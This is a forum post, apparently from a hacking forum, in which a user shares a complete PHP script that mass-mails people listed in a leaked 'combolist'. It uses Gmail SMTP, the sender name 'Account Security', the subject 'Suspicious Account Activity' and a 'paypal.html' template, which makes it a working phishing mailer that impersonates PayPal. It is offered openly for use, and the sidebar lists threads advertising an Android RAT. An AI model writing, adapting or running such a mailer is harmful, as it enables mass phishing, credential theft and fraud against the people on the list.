PHP Bulk Email Sender
by JeremyPhisher - Tuesday February 4, 2025 at 06:41 PM
#1
I get mad watching people selling something so simple all the time. Here is my program that can be used for Bulk email.
It will work with most combolists and can be easily changed to accept different formats. The letter that is sent with the emails only needs to have {first_name} and {last_name} in it. And the script will automatically send to the names associated with the email.

<?php

// Include PHPMailer classes
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

// Load PHPMailer
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

// SMTP Configuration from the first script
$SMTP_HOST = 'smtp.gmail.com';  // Set the SMTP server to send through (same as the first script)
$SMTP_USER = 'gmail address'; // Your email from the first script
$SMTP_PASS = 'app password'; // Your email password from the first script
$SMTP_PORT = 465; // TCP port to connect to; 465 for SSL (same as the first script)

// Load email template
function loadEmailTemplate($filename) {
    return file_get_contents($filename);
}

// Send email function
function sendEmail($firstName, $lastName, $email, $emailTemplate) {
    global $SMTP_HOST, $SMTP_USER, $SMTP_PASS, $SMTP_PORT;

    $mail = new PHPMailer(true);
   
    try {
        // Server settings
        $mail->isSMTP();
        $mail->Host      = $SMTP_HOST;
        $mail->SMTPAuth  = true;
        $mail->Username  = $SMTP_USER;
        $mail->Password  = $SMTP_PASS;
        $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
        $mail->Port      = $SMTP_PORT;

        // Recipients
        $mail->setFrom($SMTP_USER, 'Account Security');
        $mail->addAddress($email, "$firstName $lastName");

        // Email Content
        $subject = "Suspicious Account Activity";
        $body = str_replace(["{First_name}", "{Last_name}"], [$firstName, $lastName], $emailTemplate);

        $mail->isHTML(true);
        $mail->Subject = $subject;
        $mail->Body    = $body;

        // Send the email
        $mail->send();
        echo "✅ Email successfully sent to $firstName $lastName at $email" . PHP_EOL;
    } catch (Exception $e) {
        echo "❌ Failed to send email to $email: {$mail->ErrorInfo}" . PHP_EOL;
    }
}

// Process CSV file and send emails
function processFile($filename, $emailTemplate) {
    if (($file = fopen($filename, "r")) !== FALSE) {
        while (($row = fgetcsv($file)) !== FALSE) {
            if (count($row) >= 3) { // Ensure at least Name & Email exist
                $nameParts = explode(" ", trim($row[0]), 2);
                $firstName = $nameParts[0] ?? "Valued";
                $lastName = $nameParts[1] ?? "Customer";
                $email = trim($row[2]);

                if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
                    sendEmail($firstName, $lastName, $email, $emailTemplate);
                } else {
                    echo "⚠ Skipping invalid email: $email" . PHP_EOL;
                }
            }
        }
        fclose($file);
    } else {
        echo "❌ Failed to open the file: $filename" . PHP_EOL;
    }
}

// Load the email template
$emailTemplate = loadEmailTemplate("paypal.html");

// Process the file and send emails
$file_name = "control.txt"; // Ensure this file exists
processFile($file_name, $emailTemplate);

?>
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  (UPDATED) Top Telegram Channels list [2025] rpirate 1,221 26,151 2 hours ago
Last Post: BOMBO
  Anubis 8.0* Android RAT sometimesiexist 501 43,896 5 hours ago
Last Post: courchmikol
  Red Team Development and Operations [PDF] masterpiece 13 415 9 hours ago
Last Post: kkkato
  [FREE] CRTO I and II - Red Team Ops lessons by Zero-Point Security Tamarisk 1,703 143,393 11 hours ago
Last Post: CtrlAltDefeatzzzz
  [FREE] OSCP huge resources bundle - lab & previous exams writeups Tamarisk 1,900 175,103 11 hours ago
Last Post: CtrlAltDefeatzzzz

Forum Jump:


 Users browsing this forum: 1 Guest(s)